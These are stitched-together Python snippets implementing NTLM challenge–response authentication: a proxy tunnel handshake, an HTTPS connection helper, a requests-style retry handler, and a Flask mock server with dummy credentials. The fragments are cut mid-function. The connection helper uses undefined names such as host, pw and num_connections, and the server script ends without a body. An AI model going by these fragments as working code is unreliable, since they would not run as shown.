self._tunnel_headers['Proxy-Authorization'] = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(challenge, user, domain, password, negotiate_flags) if 'Proxy-Authorization' in self._tunnel_headers: self.host = self._proxy_host self.port = self._proxy_port # If the proxy wanted the connection closed, we need to make a new connection if close_connection: self.sock.close() self.sock = socket.create_connection((self.host, self.port), self.timeout) return self._tunnel(do_ntlm_follow_up) if code != 200: self.close() raise socket.error("Tunnel connection failed: %d %s" % (code, message.strip()))
def _new_conn(self): # Performs the NTLM handshake that secures the connection. The socket # must be kept open while requests are performed. num_connections += 1 log.debug( "Starting NTLM HTTPS connection no. %d: https://%s%s", num_connections, host, authurl, ) headers = {"Connection": "Keep-Alive"} req_header = "Authorization" resp_header = "www-authenticate" conn = HTTPSConnection(host=host, port=port) # Send negotiation message headers[req_header] = "NTLM %s" % ntlm.create_NTLM_NEGOTIATE_MESSAGE( rawuser ) log.debug("Request headers: %s", headers) conn.request("GET", authurl, None, headers) res = conn.getresponse() reshdr = dict(res.getheaders()) log.debug("Response status: %s %s", res.status, res.reason) log.debug("Response headers: %s", reshdr) log.debug("Response data: %s [...]", res.read(100)) # Remove the reference to the socket, so that it can not be closed by # the response object (we want to keep the socket open) res.fp = None # Server should respond with a challenge message auth_header_values = reshdr[resp_header].split(", ") auth_header_value = None for s in auth_header_values: if s[:5] == "NTLM ": auth_header_value = s[5:] if auth_header_value is None: raise Exception( "Unexpected %s response header: %s" % (resp_header, reshdr[resp_header]) ) # Send authentication message ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE( auth_header_value ) auth_msg = ntlm.create_NTLM_AUTHENTICATE_MESSAGE( ServerChallenge, user, domain, pw, NegotiateFlags ) headers[req_header] = "NTLM %s" % auth_msg log.debug("Request headers: %s", headers) conn.request("GET", authurl, None, headers) res = conn.getresponse() log.debug("Response status: %s %s", res.status, res.reason) log.debug("Response headers: %s", dict(res.getheaders())) log.debug("Response data: %s [...]", res.read()[:100]) if res.status != 200: if res.status == 401: raise Exception("Server rejected request: wrong username or password") raise Exception("Wrong server response: %s %s" % (res.status, res.reason)) res.fp = None log.debug("Connection established") return conn
def retry_using_http_NTLM_auth(self, auth_header_field, auth_header, response, args): """Attempt to authenticate using HTTP NTLM challenge/response.""" if auth_header in response.request.headers: return response request = response.request.copy() content_length = int(request.headers.get('Content-Length', '0')) if hasattr(request.body, 'seek'): if content_length > 0: request.body.seek(-content_length, 1) else: request.body.seek(0, 0) adapter = self.adapter if self.session: session = self.session() if session: adapter = session.get_adapter(response.request.url) # initial auth header with username. will result in challenge msg = "%s\\%s" % (self.domain, self.username) if self.domain else self.username auth = '%s %s' % (self.auth_scheme, ntlm.create_NTLM_NEGOTIATE_MESSAGE(msg)) request.headers[auth_header] = auth # A streaming response breaks authentication. # This can be fixed by not streaming this request, which is safe # because the returned response3 will still have stream=True set if # specified in args. In addition, we expect this request to give us a # challenge and not the real content, so the content will be short # anyway. args_nostream = dict(args, stream=False) response2 = adapter.send(request, **args_nostream) # needed to make NTLM auth compatible with requests-2.3.0 response2.content # this is important for some web applications that store # authentication-related info in cookies (it took a long time to # figure out) if response2.headers.get('set-cookie'): request.headers['Cookie'] = response2.headers.get('set-cookie') # get the challenge auth_header_value = response2.headers[auth_header_field] ntlm_header_value = list(filter( lambda s: s.startswith('%s ' % self.auth_scheme), auth_header_value.split(',') ))[0].strip() ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE( ntlm_header_value[(len(self.auth_scheme) + 1):] ) # build response request = request.copy() auth = '%s %s' % (self.auth_scheme, ntlm.create_NTLM_AUTHENTICATE_MESSAGE( ServerChallenge, self.username, self.domain, self.password, NegotiateFlags )) request.headers[auth_header] = auth response3 = adapter.send(request, **args) # Update the history. response3.history.append(response) response3.history.append(response2) return response3
from flask import Flask,request from ntlm import ntlm app = Flask(__name__) REQUEST_2 = 'NTLM %s' % ntlm.create_NTLM_NEGOTIATE_MESSAGE("domain\\username") RESPONSE_2 = 'NTLM TlRMTVNTUAACAAAADAAMADAAAAAHAgMAESIzRFVmd4gAAAAAAAAAAGIAYgA8AAAARABPAE0AQQBJAE4AAgAMAEQATwBNAEEASQBOAAEADABTAEUAUgBWAEUAUgAEABYAZQB4AGEAbQBwAGwAZQAuAGMAbwBtAAMAJABTAEUAUgBWAEUAUgAuAGUAeABhAG0AcABsAGUALgBjAG8AbQAAAAAA' ServerChallenge, NegotiateFlags = ntlm.parse_NTLM_CHALLENGE_MESSAGE(RESPONSE_2[5:]) REQUEST_3 = 'NTLM %s' % ntlm.create_NTLM_AUTHENTICATE_MESSAGE(ServerChallenge, 'username', 'domain', 'password', NegotiateFlags) @app.route("/") def ntlm_auth(): response_headers = {'WWW-Authenticate':'NTLM'} status_code = 401 response = "auth with 'domain\\username':'******'" # 2nd request if request.headers.get('Authorization','') == REQUEST_2: response_headers = {'WWW-Authenticate':RESPONSE_2} status_code = 401 # 3rd request elif request.headers.get('Authorization','') == REQUEST_3: response_headers = {} status_code = 200 response = "authed" return response,status_code,response_headers if __name__ == "__main__":